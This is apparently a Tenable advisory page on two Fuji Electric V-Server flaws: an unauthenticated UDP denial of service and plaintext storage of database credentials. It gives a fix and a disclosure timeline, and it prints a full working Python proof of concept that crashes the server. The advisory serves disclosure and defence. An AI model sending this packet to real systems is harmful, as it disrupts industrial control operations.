Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Fuji Electric V-Server Denial of Service and Information Disclosure

Medium

Synopsis

CVE-2019-3946: Unauthenticated, Remote Denial of Service

Tenable discovered a denial of service vulnerability in Fuji Electric's V-Server before version 6.0.33.0. The denial of service is the result of an integer overflow that occurs while handling a crafted command 51 message sent to UDP port 8005. The following proof of concept reproduces the issue:

import sys, socket, ssl, argparse, binascii
from struct import *

def mk_msg(cmd, data,seq=1):
  mlen = 5 + len(data)
  msg = pack('>HHB', mlen, seq, cmd) + data;
  return msg;
 
parser = argparse.ArgumentParser()
parser.add_argument("target_host", help="V-Server host") 
parser.add_argument("target_port", help="V-Server port (ie. 8005)", type=int) 
args = parser.parse_args()
  
host = args.target_host
port = args.target_port

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(5)
s.connect((host, port))

data = 'VSVR'                  # magic 
data += pack('>H', 0x3e7)      # sub-command
data += 'A' * 0x20             # DB data source name 
data += 'B' * 0x20             # DB user name 
data += 'C' * 0x20             # DB user creds 
data += 'D' * 0x80             # table name             

items_hdr = 'U' * 0xc
items_hdr +=  pack('>H', 0xffff)    # item count
items_hdr += 'U' * 0xc
data += items_hdr

# items
while len(data) + 6 >= 0x1388 - 5:
  data += pack('>HHH',0x8001, 0xc, 0x8001)

msg = mk_msg(51, data);

s.send(msg)
res = s.recv(1024)
print binascii.hexlify(res)

CVE-2019-3947: Plaintext Password Storage

In addition, a DB credentials disclosure vulnerability exists in V-Server project files. V-Server can connect to an SQL Server. This allows a database to be used for log storage. The DB credentials entered through the V-Server UI are saved in the project file. But it seems the DB credentials are stored in plain text, which may be viewed by unauthorized users. Below is an example project file with visible database credentials.

Solution

Upgrade to V-Server 6.0.33.0 or later.

Disclosure Timeline

11/15/2018 - Tenable can't find a security contact so they fill out a contact form asking for a security contact. (Inquiry Number: G18005094)
11/15/2018 - Fuji asks for details.
11/19/2018 - Tenable sends details.
11/21/2018 - Hakko, a Fuji company, attempts to contact Tenable but Tenable never receives the email.
01/03/2019 - Tenable asks for an update.
01/07/2019 - Fuji indicates Hakko should have contacted Tenable.
01/07/2019 - Hakko successfully contacts Tenable.
01/10/2019 - Tenable discloses to Hakko.
01/22/2019 - Hakko asks for the vpr project file.
01/28/2019 - Hakko pings Tenable.
01/28/2019 - Tenable sends project files and additional instructions on reproducing.
01/29/2019 - Hakko thanks Tenable.
03/17/2019 - Hakko indicates patch date of May 30, 2019.
03/19/2019 - Tenable acknowledges.
05/14/2019 - Tenable asks Hakko if May 30 is still the planned patch date.
05/15/2019 - Hakko acknowledges May 30 is still the planned release date.
05/29/2019 - Tenable asks Hakko if tomorrow is still the release date.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

$2,190.00

Buy Now

Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 60 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578.00

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 60 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Learn More about Industrial Security

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.